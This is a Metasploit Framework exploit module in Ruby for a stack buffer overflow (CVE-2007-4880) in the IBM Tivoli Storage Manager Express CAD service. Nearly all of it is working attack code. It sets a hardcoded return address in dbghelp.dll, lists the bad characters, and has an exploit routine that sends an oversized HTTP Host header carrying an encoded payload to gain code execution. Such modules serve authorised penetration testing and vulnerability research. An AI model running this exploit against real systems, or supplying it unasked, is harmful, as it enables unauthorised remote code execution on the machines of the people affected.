##
# $Id: ibm_tsm_cad_header.rb 7920 2009-12-19 01:09:03Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'IBM Tivoli Storage Manager Express CAD Service Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack overflow in the IBM Tivoli Storage Manager Express CAD Service (5.3.3).
        By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 7920 $',
      'References'     =>
        [
          [ 'CVE', '2007-4880' ],
          [ 'OSVDB', '38161' ],
          [ 'BID', '25743' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 650,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          [ 'IBM Tivoli Storage Manager Express 5.3.3', { 'Ret' => 0x0289fbe3 } ], # dbghelp.dll
        ],
      'DefaultTarget'  => 0,      
      'DisclosureDate' => 'Sept 24 2007'))
      
      register_options( [ Opt::RPORT(1581) ], self.class )

  end

  def exploit
    connect
    
    sploit =  "GET /BACLIENT HTTP/1.1\r\n"
    sploit << "Host: 127.0.0.1 " + rand_text_alpha_upper(190) 
    sploit << [target.ret].pack('V') + payload.encoded 
    
    print_status("Trying target %s..." % target.name)
    
    sock.put(sploit + "\r\n\r\n")
    
    handler
    disconnect
  end

end